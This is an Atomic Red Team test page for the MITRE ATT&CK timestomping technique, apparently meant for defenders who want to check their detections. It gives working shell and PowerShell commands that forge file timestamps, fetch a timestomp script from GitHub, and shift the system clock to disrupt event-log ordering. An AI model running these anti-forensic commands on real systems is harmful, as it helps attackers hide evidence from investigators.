Skip to content
Atomic Red Team
atomics
T1070.006

T1070.006 - Indicator Removal on Host: Timestomp

Description from ATT&CK (opens in a new tab)

Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.

In Windows systems, both the $STANDARD_INFORMATION ($SI) and $FILE_NAME ($FN) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) $SI (dates/time stamps) is displayed to the end user, including in the File System view, while $FN is dealt with by the kernel.(Citation: Magnet Forensics)

Modifying the $SI attribute is the most common method of timestomping because it can be modified at the user level using API calls. $FN timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)

Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the $SI and $FN attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping)

In Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as touch -a -m -t <timestamp> <filename> (which sets access and modification times to a specific value) or touch -r <filename> <filename> (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)

Timestomping may be used along with file name Masquerading (opens in a new tab) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Atomic Tests


Atomic Test #1 - Set a file's access timestamp

Stomps on the access timestamp of a file

Supported Platforms: Linux, macOS

auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810

Inputs:

NameDescriptionTypeDefault Value
target_filenamePath of file that we are going to stomp on last access timepath/tmp/T1070.006-access.txt

Attack Commands: Run with sh!

touch -a -t 197001010000.00 #{target_filename}

Cleanup Commands:

rm -f #{target_filename}

Dependencies: Run with sh!

Description: The file must exist in order to be timestomped
Check Prereq Commands:
test -e #{target_filename} && exit 0 || exit 1
Get Prereq Commands:
echo 'T1070.006 file access timestomp test' > #{target_filename}


Atomic Test #2 - Set a file's modification timestamp

Stomps on the modification timestamp of a file

Supported Platforms: Linux, macOS

auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52

Inputs:

NameDescriptionTypeDefault Value
target_filenamePath of file that we are going to stomp on last access timepath/tmp/T1070.006-modification.txt

Attack Commands: Run with sh!

touch -m -t 197001010000.00 #{target_filename}

Cleanup Commands:

rm -f #{target_filename}

Dependencies: Run with sh!

Description: The file must exist in order to be timestomped
Check Prereq Commands:
test -e #{target_filename} && exit 0 || exit 1
Get Prereq Commands:
echo 'T1070.006 file modification timestomp test' > #{target_filename}


Atomic Test #3 - Set a file's creation timestamp

Stomps on the create timestamp of a file

Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution.

Supported Platforms: Linux, macOS

auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b

Inputs:

NameDescriptionTypeDefault Value
target_filenamePath of file that we are going to stomp on last access timepath/tmp/T1070.006-creation.txt

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch #{target_filename}
date "$NOW"
stat #{target_filename}

Cleanup Commands:

rm -f #{target_filename}


Atomic Test #4 - Modify file timestamps using reference file

Modifies the modify and access timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.

Supported Platforms: Linux, macOS

auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50

Inputs:

NameDescriptionTypeDefault Value
target_file_pathPath of file to modify timestamps ofpath/tmp/T1070.006-reference.txt
reference_file_pathPath of reference file to read timestamps frompath/bin/sh

Attack Commands: Run with sh!

touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}

Cleanup Commands:

rm -f #{target_file_path}


Atomic Test #5 - Windows - Modify file creation timestamp with PowerShell

Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.

Supported Platforms: Windows

auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c

Inputs:

NameDescriptionTypeDefault Value
target_date_timeDate/time to replace original timestamps withstring01/01/1970 00:00:00
file_pathPath of file to change creation timestamppathPathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt

Attack Commands: Run with powershell!

Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }

Dependencies: Run with powershell!

Description: A file must exist at the path (#{file_path}) to change the creation time on
Check Prereq Commands:
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null


Atomic Test #6 - Windows - Modify file last modified timestamp with PowerShell

Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.

Supported Platforms: Windows

auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2

Inputs:

NameDescriptionTypeDefault Value
target_date_timeDate/time to replace original timestamps withstring01/01/1970 00:00:00
file_pathPath of file to change modified timestamppathPathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt

Attack Commands: Run with powershell!

Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }

Dependencies: Run with powershell!

Description: A file must exist at the path (#{file_path}) to change the modified time on
Check Prereq Commands:
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null


Atomic Test #7 - Windows - Modify file last access timestamp with PowerShell

Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.

Supported Platforms: Windows

auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62

Inputs:

NameDescriptionTypeDefault Value
target_date_timeDate/time to replace original timestamps withstring01/01/1970 00:00:00
file_pathPath of file to change last access timestamppathPathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt

Attack Commands: Run with powershell!

Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }

Dependencies: Run with powershell!

Description: A file must exist at the path ("#{file_path}") to change the last access time on
Check Prereq Commands:
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null


Atomic Test #8 - Windows - Timestomp a File

Timestomp kxwn.lock.

Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file.

Mitre ATT&CK Evals (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43

Inputs:

NameDescriptionTypeDefault Value
file_pathFile path for timestomp payloadstringPathToAtomicsFolder\..\ExternalPayloads

Attack Commands: Run with powershell!

import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"

Dependencies: Run with powershell!

Description: timestomp.ps1 must be present in #{file_path}.
Check Prereq Commands:
if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1"
Description: kxwn.lock must be present in #{file_path}.
Check Prereq Commands:
if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Path "#{file_path}\kxwn.lock" -ItemType File


Atomic Test #9 - MacOS - Timestomp Date Modified

Stomps on the modification timestamp of a file using MacOS's SetFile utility

Supported Platforms: macOS

auto_generated_guid: 87fffff4-d371-4057-a539-e3b24c37e564

Inputs:

NameDescriptionTypeDefault Value
target_filenamePath of file that we are going to stomp on last modified timepath/tmp/T1070.006-modified.txt
target_dateDate to replace original timestamps withstring01/01/1970

Attack Commands: Run with sh!

SetFile -m #{target_date} #{target_filename}

Cleanup Commands:

rm -f #{target_filename}

Dependencies: Run with sh!

Description: The file must exist in order to be timestomped
Check Prereq Commands:
test -e #{target_filename} && exit 0 || exit 1
Get Prereq Commands:
echo 'T1070.006 MacOS file modified timestomp test' > #{target_filename}


Atomic Test #10 - Event Log Manipulations- Time slipping via Powershell

Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. Reference - https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40 (opens in a new tab) https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4 (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 7bcf83bf-f5ef-425c-9d9a-71618ad9ed12

Inputs:

NameDescriptionTypeDefault Value
days_to_modifyValue to which system time will updatestring3

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

try{ 
  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
  Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}

Cleanup Commands:

if(Test-Path "$env:APPDATA\slipDays.bak" ){
  foreach($line in (get-content $env:APPDATA\slipDays.bak)){
    Set-Date -Date (Get-Date).AddDays(-$line)
  }
  rm "$env:APPDATA\slipDays.bak"
}